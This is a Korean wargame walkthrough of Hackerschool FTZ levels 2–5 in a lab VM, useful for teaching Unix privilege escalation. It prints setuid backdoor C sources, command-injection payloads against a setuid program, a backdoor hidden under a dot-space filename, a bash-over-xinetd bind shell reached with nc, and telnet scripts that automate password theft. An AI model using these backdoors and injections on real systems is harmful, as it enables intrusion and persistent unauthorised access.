[목차]
1. level2 -> level3 풀이
1-1 리버싱을 통한 의사코드 복원 실습
1-2 공격용 프로그램 제작(Remote Exploit)
2. level3 -> level4 풀이
2-1 백도어 만들기
2-2 공격용 프로그램 개발(Remote Exploit)
3. level4-> level5 풀이
3-1 공격용 프로그램 개발(Remote Exploit)
1. level2 -> level3 풀이
① root 사용자로 로그인
level2 사용자로 로그인
ID/PASS: level2/hacker or cracker
② hint 파일 확인
[level2@ftz level2]$ ls -l
-rw-r--r-- 1 root root 60 3월 23 2000 hint drwxr-xr-x 2 root level2 4096 2월 24 2002 public_html drwxrwxr-x 2 root level2 4096 1월 16 2009 tmp |
[level2@ftz level2]$ cat hint
텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
|
*편집기 백도어를 말하는 것!
③ SetUID 비트 파일을 검색
[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null
/usr/bin/editor |
[level2@ftz level2]$ ls -l /usr/bin/editor
-rwsr-x--- 1 level3 level2 11651 8월 19 12:58 /usr/bin/editor |
④ 편집기 확인
[level2@ftz level2]$ which vi
alias vi='vim' /usr/bin/vim |
[level2@ftz level2]$ ls -l /bin/vi
-rwxr-xr-x 1 root root 456108 2월 12 2003 /bin/vi |
[level2@ftz level2]$ ls -l /usr/bin/vim
-rwxr-xr-x 1 root root 1893740 2월 12 2003 /usr/bin/vim |
[참고] 필요하면 명령어 수행
# /bin/vi
# /usr/bin/vim
⑤ /usr/bin/editor 프로그램 공격 작업
[level2@ftz level2]$ ls –l /usr/bin/editor
[level2@ftz level2]$ expr 11651 .1024
11
[level2@ftz level2]$ /usr/bin/editor
~ ~ ~ ~ VIM - Vi IMproved ~ ~ version 6.1.320 ~ by Bram Moolenaar et al. ~ Vim is open source and freely distributable ~ ~ Help poor children in Uganda! ~ type :help iccf<Enter> for information ~ ~ type :q<Enter> to exit ~ type :help<Enter> or <F1> for on-line help ~ type :help version6<Enter> for version info ~ ~ ~ :! id (프로그램이 끝나지 않은 상태에서 확인)
uid=3003(level3) gid=3002(level2) groups=3002(level2)
Hit ENTER or type command to continue <ENTER> :! bash (프로그램이 끝나지 않은 상태에서 쉘을 실행) |
[level3@ftz level2]$ ps
[level3@ftz level2]$ ps -l
[level3@ftz level2]$ pstree –aulp PIP 번호
[level3@ftz level2]$ my-pass
Level3 Password is "can you fly?".
|
[level3@ftz level2]$ exit
exit
shell returned 37
Hit ENTER or type command to continue <ENTER> :q! |
⑥ 찾은 암호 확인
[level2@ftz level2]$ telnet localhost
level3/can you fly?
[level3@ftz level3]$ exit
[level2@ftz level2]$
[용어] 편집기 백도어
1-1 리버싱을 통한 의사 코드(가상 코드) 복원 실습
[level2@ftz level2]$ gdb /usr/bin/editor
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) disas main (gdb) disassemble main Dump of assembler code for function main: 0x08048360 <main+0>: push %ebp ======시작부분====== 0x08048361 <main+1>: mov %esp,%ebp 0x08048363 <main+3>: sub $0x8,%esp 0x08048366 <main+6>: and $0xfffffff0,%esp 0x08048369 <main+9>: mov $0x0,%eax =======시작부분끝====== 0x0804836e <main+14>: sub %eax,%esp 0x08048370 <main+16>: sub $0x8,%esp 0x08048373 <main+19>: push $0xbbb /* 0xbbb : (10진수) 3003 */ 0x08048378 <main+24>: push $0xbbb /* 0xbbb : (10진수) 3003 */ 0x0804837d <main+29>: call 0x80482a0 <setreuid> /* int setreuid(uid_t ruid, uid_t euid); */ 0x08048382 <main+34>: add $0x10,%esp 0x08048385 <main+37>: sub $0xc,%esp 0x08048388 <main+40>: push $0x8048444 /* x/s 0x8048444 = "/bin/vi" 0x0804838d <main+45>: call 0x8048280 <system> /* int system(const char *string); */ 0x08048392 <main+50>: add $0x10,%esp 0x08048395 <main+53>: leave 끝 0x08048396 <main+54>: ret 0x08048397 <main+55>: nop End of assembler dump. (gdb) x/2x 0x8048444 0x8048444 <_IO_stdin_used+4>: 0x6e69622f 0x0069762f (gdb) x/s 0x8048444 0x8048444 <_IO_stdin_used+4>: "/bin/vi" (gdb) quit |
[참고] setreuid 함수에 대해서(Real UID/Effective UID)
■ 분석한 내용을 바탕으로 의사 코드(가상코드)로 복원해 보면 다음과 같다.
# cat editor.c
#include <sys/types.h> #include <unistd.h> #include <stdlib.h>
int main() { setreuid(3003, 3003); system("/bin/vi"); } |
■ 의사코드를 통해 알수 있는 내용
편집기 백도어 프로그램
■ 복원된 의사코드
# cat editor.c
/* header */ #include <sys/types.h> #include <unistd.h> #include <stdlib.h>
/* global variable */
/* function */
/* main function */ main() {
setreuid(0xbbb, 0xbbb); system("/bin/vi");
} |
1-2. 공격용 프로그램 제작(Remote Exploit)
■ Level2 -> Level3 취약점 분석 결과
백도어(EX: /usr/bin/editor)가 설치되어 있고
HackMe 시스템에 원격에서 telnet으로 접속하여
백도어 편집기가 실행되는 동안에 my-pass 명령어를 다음 레벨의 암호를 알수 있다.
■ 공격 프로그램 작성시 아이디어
/usr/bin/editor 실행시 /bin/vi 편집기가 실행되기 때문에, /bin/vi 편집기 실행시 실행할 만한 명령어를 .vimrc 파일에 저장(! my-pass)한다.
하지만 .vimrc 파일은 사용자 홈디렉토리 아래에 바로 존재해야 하고, 원래 level2 사용자의 홈디렉토리에는 .vimrc 파일이 존재하고 level2 사용자가 편집할 수 없다. 따라서, HOME 변수의 내용을 /home/level2/tmp로 설정하고 /bin/vi 편집기를 실행하여 /home/level2/tmp/.vimrc 파일이 읽혀지도록 한다.
# export HOME=/home/level2/tmp
# echo "! my-pass" > $HOME/.vimrc
[참고] EXINIT, VIMINIT
# export EXINIT="set nu"
# vi /etc/hosts
공격 절차
(ㄱ) telnet 192.168.10.240
(ㄴ) tmp/.vimrc (!my-pass) 파일 생성
(ㄷ) HOME=/home/level2/tmp 변경
(ㄹ) /usr/bin/editor 실행
(linux200)
linux200 서버에서 Hackme 시스템의 레벨2의 취약점을 공격하는 프로그램을 개발해 보자.
칼리리눅스에서 공격프로그램을 제작하는 경우에는 telnet 프로그램이 설치되어 있어야 한다.
# cd
# mkdir -p hackme ; cd hackme
# vi level2.sh
#!/bin/bash
export TERM=vt100 export LANG=ko_KR.euckr export LOG1=level2.log
attack() { sleep 2; echo "hacker or cracker" sleep 1; echo "hostname" sleep 1; echo "cd tmp" sleep 1; echo "echo ‘!my-pass’ > .vimrc" sleep 1; echo "export HOME=/home/level2/tmp" sleep 1; echo "/usr/bin/editor" sleep 1; echo "exit" }
echo "[*] Level2 attack started. Please wait...." attack | telnet –l 192.168.10.240 > $LOG1 2>&1
echo "[+] Level3 password cracked." grep 'Level3 Password' $LOG1 |
# chmod 700 *.sh
# ./level2.sh
Level3 Password is "can you fly?". |
(정리) level2 과정에 대한 정리
■ 수행한 내용
/usr/bin/editor 파일을 gdb를 사용한 분석
의사 코드 생성
Remote Exploit Code 개발
기존 프로그램을 대치 할 수 있는 프로그램 개발
2. Leve3 -> Leve4 풀이
단원의 목적
system('CMD') 함수의 취약점
-> sh -c 'CMD'
-> sh -c 'CMD1;CMD2'
system() vesus exec*()
int system(const char *string);
int execl(const char *path, const char *arg, ...);
int execlp(const char *file, const char *arg, ...);
int execle(const char *path, const char *arg , ..., char * const envp[]);
int execv(const char *path, char *const argv[]);
int execvp(const char *file, char *const argv[]);
① level3 사용자로 로그인
level3 사용자로 로그인
ID/PASS: level3/can you fly?
② hint 파일 확인
[level3@ftz level3]$ ls -l
합계 12 -rw-r--r-- 1 root root 543 11월 26 2000 hint drwxr-xr-x 2 root level3 4096 2월 24 2002 public_html drwxrwxr-x 2 root level3 4096 1월 15 2009 tmp |
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){ printf( "Auto Digger Version 0.9\n" ); printf( "Usage : %s host\n", argv[0] ); exit(0); }
strcpy( cmd, "dig @" ); strcat( cmd, argv[1] ); strcat( cmd, " version.bind chaos txt");
system( cmd ); /* # dig @168.126.63.1 version.bind chaos txt */
}
이를 이용하여 level4의 권한을 얻어라.
more hints. - 동시에 여러 명령어를 사용하려면? - 문자열 형태로 명령어를 전달하려면? |
소스 코드를 통해 알수 있는 내용
(예) # dig @168.126.63.1 version.bind chaos txt
# autodig 168.126.63.1
[참고] dig/host/nslookup 명령어 사용법
③ autodig 파일 검색
[level3@ftz level3]$ find / -name autodig 2>/dev/null
/bin/autodig |
[level3@ftz level3]$ ls -l /bin/autodig
-rwsr-x--- 1 level4 level3 12194 8월 19 12:58 /bin/autodig |
level3 권한으로 실행할 수 있고 실행하는 동안에는 level4가 된다.
④ SetUID 프로그램 검색
[level3@ftz level3]$ find / -user level4 -perm -4000 2>/dev/null
/bin/autodig |
⑤ /bin/autodig 실행
[level3@ftz level3]$ /bin/autodig 168.126.63.1
; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42564 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION: ;version.bind. CH TXT
;; ANSWER SECTION: version.bind. 0 CH TXT "Cyber World Leader Kornet!"
;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind.
;; Query time: 20 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Thu Aug 21 22:02:45 2014 ;; MSG SIZE rcvd: 83 |
------------- /bin/autodig ----------------
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] ); 입력 넣는것에는 제한이 없다
strcat( cmd, " version.bind chaos txt");
system( cmd );
------------- /bin/autodig ----------------
# /bin/autodig 168.126.63.1
# dig @168.126.63.1 version.bind chaos txt
[level3@ftz level3]$ dig @168.126.63.1 version.bind chaos txt
; <<>> DiG 9.2.1 <<>> @168.126.63.1 version.bind chaos txt ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8087 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION: ;version.bind. CH TXT
;; ANSWER SECTION: version.bind. 0 CH TXT "Unknown"
;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind.
;; Query time: 31 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Thu Aug 21 22:03:36 2014 ;; MSG SIZE rcvd: 64 |
⑥ /bin/autodig 프로그램 공격
------------- /bin/autodig ----------------
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] ); -> 168.126.63.1 www.naver.com
strcat( cmd, " version.bind chaos txt");
system( cmd );
------------- /bin/autodig ----------------
# /bin/autodig "168.126.63.1 www.naver.com; id;"
# dig @168.126.63.1 www.naver.com; id; version.bind chaos txt
[level3@ftz level3]$ /bin/autodig "168.126.63.1 www.naver.com; id;"
; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23453 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3
;; QUESTION SECTION: ;www.naver.com. IN A
;; ANSWER SECTION: www.naver.com. 0 IN CNAME www.naver.com.nheos.com. www.naver.com.nheos.com. 165 IN A 125.209.222.141 www.naver.com.nheos.com. 165 IN A 202.131.30.11
;; AUTHORITY SECTION: nheos.com. 171165 IN NS ns2.nheos.com. nheos.com. 171165 IN NS ns1.nheos.com. nheos.com. 171165 IN NS ns3.nheos.com.
;; ADDITIONAL SECTION: ns1.nheos.com. 1600 IN A 119.205.240.148 ns2.nheos.com. 9307 IN A 61.247.202.50 ns3.nheos.com. 171165 IN A 175.158.30.74
;; Query time: 4 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Thu Aug 21 22:08:16 2014 ;; MSG SIZE rcvd: 199
uid=3004(level4) gid=3003(level3) groups=3003(level3) sh: line 1: version.bind: command not found |
------------- /bin/autodig ----------------
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
------------- /bin/autodig ----------------
# /bin/autodig "168.126.63.1 www.naver.com; bash;"
# dig @168.126.63.1 www.naver.com; bash; version.bind chaos txt
[level3@ftz level3]$ /bin/autodig "168.126.63.1 www.naver.com; bash;" (bash는 가장 강력하다)
; <<>> DiG 9.2.1 <<>> @168.126.63.1 www.naver.com ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7335 ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 3, ADDITIONAL: 3
;; QUESTION SECTION: ;www.naver.com. IN A
;; ANSWER SECTION: www.naver.com. 0 IN CNAME www.naver.com.nheos.com. www.naver.com.nheos.com. 31 IN A 202.131.30.11 www.naver.com.nheos.com. 31 IN A 125.209.222.142
;; AUTHORITY SECTION: nheos.com. 11439 IN NS ns2.nheos.com. nheos.com. 11439 IN NS ns1.nheos.com. nheos.com. 11439 IN NS ns3.nheos.com.
;; ADDITIONAL SECTION: ns1.nheos.com. 15523 IN A 119.205.240.148 ns2.nheos.com. 161068 IN A 61.247.202.50 ns3.nheos.com. 11439 IN A 175.158.30.74
;; Query time: 3 msec ;; SERVER: 168.126.63.1#53(168.126.63.1) ;; WHEN: Thu Aug 21 22:09:38 2014 ;; MSG SIZE rcvd: 199 |
ps
ps –l
pstree –alup 1635(PPID 번호)
[level4@ftz level3]$ my-pass
Level4 Password is "suck my brain".
|
2-1 백도어 만들기
① 백도어 파일 생성
$ export LANG=c
$ man execve
[level4@ftz level3]$ vi /tmp/backdoor.c
int main() {
char *cmd[2]; /* 다음번째 레벨의 권한으로 쉘 실행 cmd[0]="/bin/bash"; cmd[1]=(void *)0; null처리 하려고 주소값으로 변경
setreuid(3004,3004); execve(cmd[0], cmd, cmd[1]); /* int execve (const char *filename, char *const argv [], char *const envp[]); * cmd[0]= 실행할 명령어의 주소, cmd: 그 포인터의 포인터(이중 포인터형태), 환경변수의 포인터가 들어가야 한다, 결국 /bin/bash를 실행하려고 형식을 맞춘것*/ } |
int execve(const char *filename, char *const argv[], char *const envp[]);
- const char *filename : 실행할 프로그램의 pointer
- char *const argv[] : 실행할 프로그램의 pointer에 pointer
- char *const envp[] : 실행할 프로그램의 환경변수의 pointer에 pointer
② 백도어 파일 컴파일 및 SetUID 설정
[level4@ftz level3]$ gcc -o /tmp/". " /tmp/backdoor.c /* /tmp/". " (점(.) + 공백 한칸) */
[level4@ftz level3]$ chmod 6755 /tmp/". "
[level4@ftz level3]$ ls -al /tmp
합계 56 drwxrwxrwt 8 root root 4096 8월 21 22:20 . -rwsr-sr-x 1 level4 level3 11677 8월 21 22:20 . drwxr-xr-x 20 root root 4096 8월 21 17:10 .. drwxrwxrwt 2 root root 4096 8월 21 17:10 .ICE-unix -r--r--r-- 1 root root 11 8월 21 17:10 .X0-lock drwxrwxrwt 2 root root 4096 8월 21 17:10 .X11-unix srwx------ 1 root nobody 0 8월 21 17:10 .fam_socket drwxrwxrwt 2 xfs xfs 4096 8월 21 17:10 .font-unix srw-rw-rw- 1 root root 0 8월 21 17:10 .gdm_socket drwxr-xr-x 2 root root 4096 8월 19 20:02 .mozilla -rw------- 1 root root 1024 8월 19 20:13 .rnd -rw-r--r-- 1 level4 level3 130 8월 21 22:19 backdoor.c drwx------ 2 root root 4096 8월 21 17:10 orbit-root drwx------ 2 root root 4096 8월 21 17:10 ssh-XX37ibNn |
[level4@ftz level3]$ rm -f /tmp/backdoor.c
[level4@ftz level3]$ exit
exit sh: line 1: version.bind: command not found |
③ 백도어 파일 실행
[level3@ftz level3]$ id
uid=3003(level3) gid=3003(level3) groups=3003(level3) |
[level3@ftz level3]$ /tmp/". "
No value for $TERM and no -T specified No value for $TERM and no -T specified |
-> 에러메세지는 무시한다.
[level4@ftz level3]$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3) |
[level4@ftz level3]$ exit
[level3@ftz level3]$
■ 다른 방식으로 백도어를 만들어 보자.
(EX: # /bin/autodig "127.0.0.1;CMD;")
/bin/autodig "168.126.63.1 www.naver.com; bash;"
/bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";cmd[1]=(void *)0;' > /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;echo 'setreuid(3004,3004);execve(cmd[0],cmd,cmd[1]);}' >> /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;cat /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;gcc -o /tmp/'.. ' /tmp/backdoor2.c;"
/bin/autodig "127.0.0.1;chmod 6755 /tmp/'.. ';"
-> autodig 명령어가 여러번 수행되기 때문에 약간의 시간이 필요하다.
(/tmp/backdoor2.c)
int main(){char *cmd[2];cmd[0]=\"/bin/sh\";cmd[1]=(void *)0; setreuid(3004,3004);execve(cmd[0],cmd,cmd[1]);} |
int main() { char *cmd[2]; cmd[0]=\"/bin/sh\"; cmd[1]=(void *)0;
setreuid(3004,3004); execve(cmd[0],cmd,cmd[1]); } |
2-2 공격용 프로그램 개발(Remote Exploit)
linux200 서버에서 Hackme 시스템의 레벨2 취약점을 공격하는 프로그램을 개발해 보자.
■ Level3 취약점
autodig 프로그램을 잘못 만들어 졌기 때문에(버그가 존재) 인자값에 악의 적인 command injection 공격이 가능하다.
취약성으로 되어 있는 인자값에 ";my-pass;" 명령어를 삽입하여 원하는 암호를 얻을 수 있다.
공격 절차
(ㄱ) telnet 192.168.10.240
(ㄴ) /bin/autodig '8.8.8.8;my-pass;'
# cd /root/hackme
# vi level3.sh
LANG=ko_KR.ucfkr LOG=level3.log attack() { sleep 1; echo "can you fly?" sleep 1; echo "hostname" sleep 1; echo "/bin/autodig ';my-pass;'" sleep 1; echo "exit" sleep 1; echo "exit" } echo "[*] Proceessing" attack | telnet -l level3 192.168.10.240 > $LOG 2>&1 echo "[+] Done" grep "Level4 " $LOG |
# chmod 700 *.sh
# ./level3.sh
Level4 Password is "suck my brain". |
(정리) level3 과정에 대한 정리
■ 수행한 내용
/bin/autodig 파일의 소스코드 분석
Remote Exploit Code 개발
권한 상승 이후에 백도어 파일을 만드는 실습
* 아래 구문은 꼭 외워둬야 한다!
이번 level에서 배운 backdoor.c |
이전에 배운 backdoor.c |
#include <unistd.h>
main() { char *cmd[2]; cmd[0]=\"/bin/sh\"; cmd[1]=(void *)0;
setreuid(0,0); execve(cmd[0], cmd, cmd[1]); } |
#include <unistd.h> #include <stdlib.h>
main() { setuid(0); system('/bin/bash'); }
|
# gcc -o backdoor backdoor.c # chmod 4755 backdoor |
# gcc -o backdoor backdoor.c # chmod 4755 backdoor |
* cmd = &cmd[0] 본쉘 실행하도록 하는것
3. Level4 -> Level5
■ 단원의 목적
xinetd 방식(원격 백도어)
■ 선수지식
xinetd 방식에 대한 이해
(용어) 로컬백도어/원격백도어
① level4 사용자로 로그인
level4 사용자로 로그인
ID/PASS: level4/suck my brain
② hint 파일 확인
[level4@ftz level4]$ ls -l
합계 12 -rw-r--r-- 1 root root 50 2월 24 2002 hint drwxr-xr-x 2 root level4 4096 2월 24 2002 public_html drwxrwxr-x 2 root level4 4096 8월 22 15:52 tmp |
[level4@ftz level4]$ cat hint
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
|
■ inetd 방식 ■ xinetd 방식
- /etc/inetd.conf - /etc/xinetd.conf, /etc/xinetd.d/*
- /etc/services - /etc/services
③ /etc/xinetd.d/backdoor 파일 확인 및 해석
[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls -al
합계 112 drwxr-xr-x 2 root root 4096 8월 19 12:58 . drwxr-xr-x 64 root root 4096 8월 21 17:13 .. -r--r--r-- 1 root level4 171 8월 19 12:58 backdoor -rw-r--r-- 1 root root 563 2월 25 2003 chargen -rw-r--r-- 1 root root 580 2월 25 2003 chargen-udp -rwxr-xr-x 1 root root 239 2월 13 2003 cups-lpd -rw-r--r-- 1 root root 419 2월 25 2003 daytime -rw-r--r-- 1 root root 438 2월 25 2003 daytime-udp -rw-r--r-- 1 root root 341 2월 25 2003 echo -rw-r--r-- 1 root root 360 2월 25 2003 echo-udp -rw-r--r-- 1 root root 318 1월 25 2003 finger -rw-r--r-- 1 root root 370 1월 25 2003 imap -rw-r--r-- 1 root root 365 1월 25 2003 imaps -rw-r--r-- 1 root root 453 1월 25 2003 ipop2 -rw-r--r-- 1 root root 359 1월 25 2003 ipop3 -rw-r--r-- 1 root root 275 2월 5 2003 ntalk -rw-r--r-- 1 root root 335 1월 25 2003 pop3s -rw-r--r-- 1 root root 361 1월 25 2003 rexec -rw-r--r-- 1 root root 378 1월 25 2003 rlogin -rw-r--r-- 1 root root 431 1월 25 2003 rsh -rw-r--r-- 1 root root 317 1월 25 2003 rsync ..... (중략) ..... |
[참고]
$ export LANG=C ; /sbin/chkconfig --list | sed -n '/xinetd based/,$p' | grep -w on
[level4@ftz xinetd.d]$ cat /etc/xinetd.d/backdoor
service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID } |
service finger
반드시 /etc/services 파일에 들어 있는 이름이어야 한다.(반드시 서비스 이름과 포트가 매핑되어야 한다.)
# cat /etc/services | grep finger
finger 79/tcp
finger 79/udp
disable = no
데몬을 비활성화하지 않음, disable = yes로 설정되면 해당 서비스를 기동하지 않음
서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장.
flags = REUSE
서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가
socket_type = stream
TCP(stream)/UDP(dgram) 프로토콜을 선택
wait = no
이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답함, 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미.
user = root
해당 데몬이 root 계정의 권한으로 실행됨
server = /usr/bin/in.fingerd
xinetd에 의해 실행될 데몬 파일
log_on_failure += USERID
정상적인 기동에 실패한 경우 USERID를 로그에 기록
④ 백도어 포트 확인
[level4@ftz xinetd.d]$ cat /etc/services | grep finger
finger 79/tcp finger 79/udp cfinger 2003/tcp # GNU Finger |
[level4@ftz xinetd.d]$ netstat -an | grep :79
Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN |
⑤ 백도어(EX: /home/level4/tmp/backdoor) 파일 존재 확인 및 테스트
[level4@ftz xinetd.d]$ ls -l /home/level4/tmp/backdoor
ls: /home/level4/tmp/backdoor: 그런 파일이나 디렉토리가 없음 |
# man finger
NAME
finger - user information lookup program
SYNOPSIS
finger [-lmsp] [user ...] [user@host ...]
[level4@ftz xinetd.d]$ finger level4@localhost
[level4@ftz xinetd.d]$
-> 정상적으로 실행되지 않는다.
⑥ /home/level4/tmp/backdoor 파일 동작 테스트
----------------------------------------------------------------------------------------------
/etc/xinetd.d/backdoor 파일
service finger { disable = no flags = REUSE socket_type = stream wait = no user = level5 server = /home/level4/tmp/backdoor log_on_failure += USERID } |
( ? ) /home/level4/tmp/backdoor -> /usr/sbin/in.telnetd 설정을 바꾸고 원격에서 접속한다면
( ? ) 그럼 우리가 원하는 프로그램이 실행 될수 있도록 한다면
----------------------------------------------------------------------------------------------
■ 공격용 파일을 생성한다.
[level4@ftz xinetd.d]$ cd ~/tmp ($ vi /home/level4/tmp/backdoor)
[level4@ftz tmp]$ vi backdoor.c
#include<stdlib.h>
int main() { system("cat /home/level4/hint"); system("/usr/binid"); return 0; } |
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ finger level4@localhost
누군가 /etc/xinetd.d/에 백도어를 심어놓았다.! /* system("cat /home/level4/hint"); */
uid=3005(level5) gid=3005(level5) /* system("id"); */ |
⑦ /home/level4/tmp/backdoor 파일 제작
[level4@ftz tmp]$ vi backdoor2.c
#include <stdlib.h>
int main() { system("/bin/bash"); } |
[level4@ftz tmp]$ gcc -o backdoor backdoor2.c
[level4@ftz tmp]$ finger level4@localhost
/bin/bash: line 1: level4 : command not found id my-pass
<CTRL + C> |
-> 정상적으로 명령어가 수행되지 않는다는 것을 알수 있다.
-> 따라서 원격에서 nc(netcat) 명령어를 사용한다.
!!!! 왜 finger level4@localhost 출력 내용이 없는 것일까요? !!!!
⑧ nc(netcat) 명령어 사용법 확인 및 테스트
(linux200)
[참고] nc(netcat)명령어 사용법
# yum -y install nmap-ncat
# rpm -qa | grep nmap-ncat
-> 출력 내용 생략
(linux200) (HackMe)
# nc 192.168.10.240 79 ■ xinetd(/etc/xinetd.conf)
■ /etc/services
■ /etc/xinetd.d/backdoor
----------------------------------------------------
service finger
{
disable = no
user = level5
server = /home/level4/tmp/backdoor
}
----------------------------------------------------
■ /home/level4/tmp/backdoor
----------------------------------------------------
main()
{
system("/bin/bash")
}
----------------------------------------------------
# nc 192.168.10.240 79 /* 192.168.10.240 : HackMe System's IP */
id uid=3005(level5) gid=3005(level5) my-pass
Level5 Password is "what is your name?".
pwd / cd /etc cat passwd ..... (중략) ..... level15:x:3095:3095::/home/level15:/bin/bash level16:x:3096:3096::/home/level16:/bin/bash level17:x:3097:3097::/home/level17:/bin/bash level18:x:3098:3098::/home/level18:/bin/bash level19:x:3099:3099::/home/level19:/bin/bash level20:x:3100:3100::/home/level20:/bin/bash clear:x:3101:3101::/home/clear:/bin/bash exit |
#
⑨ 백도어(EX: /home/level4/tmp/backdoor) 파일 기능 확장
(HackMe)
# export LANG=C
# man bash
-i If the -i option is present, the shell is interactive.
[level4@ftz tmp]$ cd ~/tmp
[level4@ftz tmp]$ vi backdoor2.c
#include <stdlib.h>
int main() { system("/bin/bash -i"); } |
[level4@ftz tmp]$ gcc -o backdoor backdoor2.c
[level4@ftz tmp]$
⑩ 제작된 백도어 테스트
(linux200)
# nc 192.168.10.240 79
bash: no job control in this shell stty: standard input: Invalid argument [level5@ftz /]$ hostname ftz.hackerschool.org [level5@ftz /]$ id uid=3005(level5) gid=3005(level5) [level5@ftz /]$ exit exit |
#
(정리) xinetd 방식의 원격 백도어 특성
서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태(EX: ps CMD)이므로 관리자가 확인하기가 어렵다.
대신, netstat -antup 명령어로 확인은 가능하다.
3-1 공격용 프로그램 개발(Remote Exploit)
linux200 서버에서 Hackme 시스템의 레벨4 취약점을 이용하여 공격용 프로그램을 만들어 보자.
■ 레벨4 취약점
Hackme 시스템에는 백도어 프로그램이 동작할 수 있는 설정이 일부(/etc/xinetd.d/backdoor) 되어 있다.
취약점 공격을 위해 /home/level4/tmp/backdoor(/bin/bash -i) 프로그램 제작하고
원격에서 nc 명령어를 통해 접속하면 된다.
공격 절차
(ㄱ) telnet 192.168.10.240
(ㄴ) /home/level4/tmp/backdoor 파일 제작하고 컴파일
(ㄷ) nc 192.168.10.240 79
(ㄹ) my-pass
(linux200)
# cd hackme
# vi level4.sh
step1. #!/bin.bash
export TERM=vt100 export LANG=ko_KR.euckr
attack() { sleep 1; echo “suck my brain”; sleep 1; echo “hostname;” sleep 1; echo “exit”; }
attack | telnet –l level4 192.168.10.240
================================================
step2. #!/bin.bash
export TERM=vt100 export LANG=ko_KR.euckr export LOG1=level4.log
attack() { sleep 1; echo “suck my brain”; sleep 1; echo “echo ‘#include <stdlib.h>’ > /home/level4/tmp/backdoor.c” sleep 1; echo “echo ‘main() {system(\”/bin/bash –i\“);}’ >> /home/level4/tmp/backdoor.c” sleep 1; echo “gcc –o /home/level4/tmp/backdoor /home/level4/tmp/backdoor.c” sleep 1; echo “hostname;” sleep 1; echo “exit”; }
echo “[*] Attack started. Please wait ...” attack | telnet –l level4 192.168.10.240 > $LOG1 2>&1 sleep 1
echo “[*] my-pass command sent.” echo “my-pass ” | /bin/nc 192.168.10.240 79 >> &LOG1 2>&1
echo “[+] Attack success.” grep “Level5 Password” $LOG1
or
export TERM=xterm export LANG=ko_KR.euckr export IP1=192.168.10.240 export PORT1=23 export PORT2=79 export USER1=level4 export PASS1="suck my brain" export CMD1="echo '#include<stdlib.h>' > /home/level4/tmp/backdoor.c " export CMD2="echo 'main() {system(\"/bin/bash -i\");};' >> /home/level4/tmp/backdoor.c" export CMD3="gcc -o /home/level4/tmp/backdoor /home/level4/tmp/backdoor.c" LOG1=level4.log
attack() { sleep 2; echo "$PASS1" sleep 1; echo "hostname" sleep 1; echo "$CMD1" sleep 1; echo "$CMD2" sleep 1; echo "$CMD3" sleep 1; echo "exit" }
echo "[*] trying : telnet" attack | telnet -l $USER1 $IP1 $PORT1 >> $LOG1 echo "[+] telnet connection established."
echo "[*] trying : nc" if [ -f /bin/nc -o -x /bin/nc ] ; then echo "[+] nc connection established." echo "[*] Some error messages can be ignored." echo "[*] Have a good time." echo "[*] ==============================================" nc $IP1 $PORT2 else echo "[-] nc command not found" exit 1 fi |
(정리) level4 과정에 대한 정리
■ 수행한 내용
xinetd 방식의 백도어 제작 과정 및 분석
Remote Exploit Code 개발
nc 명령어를 이용한 백도어 제작(reverse_tcp, bind_tcp)
[출처]
솔데스크 백승찬 강사님
'WEB 진단 > WarGame' 카테고리의 다른 글
해커스쿨 BOF 원정대 : 개요 및 Level1 풀기 (0) | 2020.12.21 |
---|---|
해커스쿨 Hackme FTZ 문제: Level8~Level20 (Lv16까지 진행) (0) | 2020.12.16 |
